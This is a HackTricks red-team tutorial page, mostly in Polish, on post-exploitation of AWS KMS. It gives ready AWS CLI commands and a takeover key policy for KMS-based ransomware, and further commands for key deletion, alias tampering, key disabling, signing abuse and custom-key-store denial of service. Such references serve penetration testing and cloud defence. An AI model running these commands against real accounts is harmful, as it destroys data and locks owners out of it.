AWS - KMS Post Exploitation

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

KMS

Aby uzyskać więcej informacji sprawdź:

AWS - KMS Enum

Encrypt/Decrypt information

fileb:// and file:// są schematami URI używanymi w poleceniach AWS CLI do określenia ścieżki do plików lokalnych:

  • fileb://: Odczytuje plik w trybie binarnym, zwykle używany dla plików nie-tekstowych.
  • file://: Odczytuje plik w trybie tekstowym, zwykle używany dla zwykłych plików tekstowych, skryptów lub JSON, które nie mają specjalnych wymagań kodowania.

Tip

Zwróć uwagę, że jeśli chcesz decrypt danych znajdujących się w pliku, plik musi zawierać dane binarne, nie zakodowane w base64. (fileb://)

  • Używanie symetrycznego klucza
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Użycie klucza asymmetric:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Atakujący z uprzywilejowanym dostępem do KMS może zmodyfikować politykę KMS dla kluczy i przyznać swojemu kontu dostęp do nich, usuwając dostęp przyznany prawowitemu kontu.

W rezultacie użytkownicy prawowitego konta nie będą mogli uzyskać dostępu do żadnych informacji z usług zaszyfrowanych tymi kluczami, tworząc proste, lecz skuteczne ransomware wobec konta.

Warning

Należy pamiętać, że AWS managed keys aren’t affected przez ten atak; dotyczy to tylko Customer managed keys.

Zwróć uwagę na konieczność użycia parametru --bypass-policy-lockout-safety-check (brak tej opcji w konsoli webowej sprawia, że ten atak jest możliwy tylko z poziomu CLI).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Caution

Pamiętaj, że jeśli zmienisz tę politykę i przyznasz dostęp tylko zewnętrznemu kontu, a następnie z tego konta spróbujesz ustawić nową politykę, aby przywrócić dostęp do oryginalnego konta, nie będziesz w stanie, ponieważ akcja Put Polocy nie może być wykonana z cross account.

Ogólny KMS Ransomware

Istnieje inny sposób na przeprowadzenie globalnego KMS Ransomware, który obejmowałby następujące kroki:

  • Utwórz nowy klucz z materiałem klucza zaimportowanym przez atakującego
  • Ponownie zaszyfruj starsze dane ofiary, które były zaszyfrowane poprzednią wersją, używając nowego
  • Usuń klucz KMS
  • Teraz tylko atakujący, który posiada oryginalny materiał klucza, będzie w stanie odszyfrować zaszyfrowane dane

Delete Keys via kms:DeleteImportedKeyMaterial

Z uprawnieniem kms:DeleteImportedKeyMaterial aktor może usunąć zaimportowany materiał klucza z CMK z Origin=EXTERNAL (CMK, które zaimportowały swój materiał klucza), uniemożliwiając im odszyfrowanie danych. Ta akcja jest destrukcyjna i nieodwracalna, chyba że kompatybilny materiał zostanie ponownie zaimportowany, co pozwala atakującemu w praktyce spowodować utratę danych podobną do ransomware, czyniąc zaszyfrowane informacje trwale niedostępnymi.

aws kms delete-imported-key-material --key-id <Key_ID>

Niszczenie kluczy

Niszczenie kluczy może spowodować DoS.

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Caution

Zwróć uwagę, że AWS teraz zapobiega wykonywaniu poprzednich działań z cross account:

Change or delete Alias

Ten atak usuwa lub przekierowuje aliasy AWS KMS, zaburzając rozwiązywanie kluczy i powodując natychmiastowe błędy w usługach, które polegają na tych aliasach, co skutkuje odmową usługi. Mając uprawnienia takie jak kms:DeleteAlias lub kms:UpdateAlias, atakujący może usunąć lub przekierować aliasy i zakłócić operacje kryptograficzne (np. encrypt, describe). Każda usługa, która odwołuje się do aliasu zamiast do ID klucza, może nie działać, dopóki alias nie zostanie przywrócony lub poprawnie zmapowany.

# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>

# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>

Anulowanie zaplanowanego usunięcia klucza

Mając uprawnienia takie jak kms:CancelKeyDeletion i kms:EnableKey, atakujący może anulować zaplanowane usunięcie klucza głównego klienta AWS KMS i później ponownie go włączyć. Dzięki temu klucz zostaje odzyskany (początkowo w stanie Disabled) i przywracana jest jego zdolność do odszyfrowywania wcześniej chronionych danych, umożliwiając exfiltration.

# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>

## Second enable the key
aws kms enable-key \
--key-id <Key_ID>

Wyłączenie klucza

Posiadając uprawnienie kms:DisableKey, aktor może wyłączyć AWS KMS customer master key, co uniemożliwia jego użycie do szyfrowania lub odszyfrowywania. Powoduje to zerwanie dostępu dla wszystkich usług zależnych od tego CMK i może spowodować natychmiastowe zakłócenia lub denial-of-service, dopóki klucz nie zostanie ponownie włączony.

aws kms disable-key \
--key-id <key_id>

Wyprowadzenie współdzielonego sekretu

Z uprawnieniem kms:DeriveSharedSecret podmiot może użyć prywatnego klucza przechowywanego w KMS oraz klucza publicznego dostarczonego przez użytkownika, aby obliczyć współdzielony sekret ECDH.

aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>

Impersonation via kms:Sign

Mając uprawnienie kms:Sign, aktor może użyć przechowywanego w KMS CMK do kryptograficznego podpisywania danych bez ujawniania klucza prywatnego, generując ważne podpisy, które mogą umożliwić impersonation lub autoryzować złośliwe działania.

aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW

DoS with Custom Key Stores

Dysponując uprawnieniami takimi jak kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore lub kms:UpdateCustomKeyStore, podmiot może modyfikować, odłączyć lub usunąć AWS KMS Custom Key Store (CKS), czyniąc jego klucze główne nieoperacyjnymi. To przerywa operacje szyfrowania, odszyfrowywania i podpisywania dla wszystkich usług, które polegają na tych kluczach i może spowodować natychmiastowy denial-of-service. Dlatego ograniczanie i monitorowanie tych uprawnień jest kluczowe.

aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks